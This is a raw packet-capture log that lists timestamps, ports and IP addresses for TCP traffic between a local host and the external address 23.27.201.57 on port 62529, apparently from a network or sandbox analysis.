Jan 26, 2025 08:22:17.791816950 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.791829109 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.791840076 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.791851044 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.791872978 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.791884899 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.791894913 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.791907072 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.791928053 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.791939020 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.791959047 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.791970015 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.792011023 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.792021990 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.792043924 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.792054892 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.792102098 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.792114019 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.792126894 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.792138100 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.792185068 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.792196989 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.792217970 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.792229891 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.792251110 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.792263985 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.792309999 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.792320967 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.792340994 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.792352915 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.792375088 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.792387009 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.792421103 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.792432070 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.792465925 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.792478085 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.792521000 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.792531967 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.792587042 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.792599916 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.792610884 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.792622089 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.792643070 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.792654037 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.792674065 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.792685032 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.792706013 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.792716980 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.792768002 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.792779922 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.792799950 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.792812109 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.792833090 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.792844057 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.792886972 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.792898893 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.792918921 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.792931080 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.792949915 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.792962074 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.792980909 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.792993069 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.793088913 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.793101072 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.793112040 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.793123007 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.793143988 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.793154955 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.793165922 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.793176889 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.793198109 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.793210030 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.793267965 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.793279886 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.793291092 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.793302059 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.793322086 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.793333054 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.793353081 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.793364048 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.793406963 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.793418884 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.793431997 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.793442965 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.793468952 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.793479919 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.793548107 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.793560028 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.793571949 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.793576956 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.793611050 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.793622971 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.793698072 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.793709993 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.793729067 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.793740988 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.793761015 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.793771982 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.793813944 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.793826103 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.793864965 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.793875933 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.793895960 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.793908119 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.793947935 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.793960094 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.793972969 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.793984890 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.794025898 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.794038057 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.794059038 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.794070005 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.794090986 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.794101954 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.794152021 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.794162989 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.839039087 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:18.020530939 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:18.061485052 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:19.573920965 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:19.576014996 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:19.581199884 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:19.582289934 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:19.586268902 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:19.591358900 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:19.624027967 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:19.937024117 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:19.942629099 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:19.942642927 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:19.942651033 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:19.942658901 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:19.942667961 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:19.942677021 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:19.942720890 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:19.942744017 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:19.942753077 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:19.942760944 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:19.942774057 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:19.942817926 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:19.942889929 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:19.942945957 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:19.947974920 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:19.948004007 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:19.948033094 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:19.948077917 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:19.948136091 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:19.948165894 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:19.948193073 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:19.948195934 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:19.948220015 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:19.948225021 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:19.948265076 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:19.991843939 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:19.992330074 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.042895079 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.043103933 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.090890884 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.091165066 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.126241922 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.127536058 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.132791996 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.132802963 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.132807016 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.132810116 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.132821083 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.132823944 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.132827044 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.132829905 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.132833004 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.132837057 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.132839918 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.132843018 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.132847071 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.132852077 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.132911921 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.132915974 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.133001089 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.133008957 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.133017063 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.133039951 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.133085012 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.133130074 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.133204937 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.133212090 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.133241892 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.133354902 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.133626938 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.133685112 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.137969971 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.138160944 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.138171911 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.138180017 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.138186932 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.138195992 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.138202906 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.138217926 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.138226986 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.138302088 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.138338089 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.138345957 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.138360977 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.138369083 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.138396978 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.138427973 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.138434887 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.138452053 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.138462067 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.138477087 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.138515949 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.138539076 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.138561964 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.138593912 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.138633013 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.138633966 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.138673067 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.138681889 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.138689041 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.138691902 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.138705015 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.138712883 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.138716936 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.138726950 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.138735056 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.138756990 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.138823032 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.138843060 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.138850927 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.138904095 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.138993025 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.139003038 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.139009953 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.139018059 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.139031887 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.139039993 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.139043093 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.139045954 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.139060020 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.139067888 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.139072895 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.139121056 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.139128923 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.139132977 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.139134884 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.139139891 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.139156103 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.139163971 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.139185905 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.139219999 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.139254093 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.139262915 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.139266014 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.139271975 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.139278889 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.139286041 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.139293909 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.139307022 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.139316082 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.139318943 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.139327049 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.139333963 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.139341116 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.139354944 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.139363050 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.139377117 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.139379978 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.139383078 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.139386892 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.139453888 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.143006086 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.143069029 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.143219948 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.143228054 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.143234968 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.143241882 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.143256903 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.143265009 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.143268108 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.143270016 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.143277884 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.143297911 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.143310070 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.143351078 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.143352032 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.143359900 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.143390894 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.143398046 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.143409967 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.143431902 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.143440962 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.143456936 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.143481970 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.143500090 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.143507957 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.143539906 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.143549919 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.143568039 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.143605947 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.143609047 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.143618107 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.143676043 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.143697023 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.143704891 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.143707991 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.143714905 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.143723011 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.143731117 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.143744946 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.143752098 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.143776894 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.143784046 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.143795013 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.143798113 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.143801928 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.143841982 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.143850088 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.143860102 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.143865108 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.143872976 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.143888950 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.143907070 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.143915892 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.143923044 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.143923998 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.143932104 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.143958092 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.143968105 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.143975973 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.143990993 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.143996000 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.144004107 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.144023895 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.144056082 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.144056082 CET	49734	62529	192.168.2.4	23.27.201.57
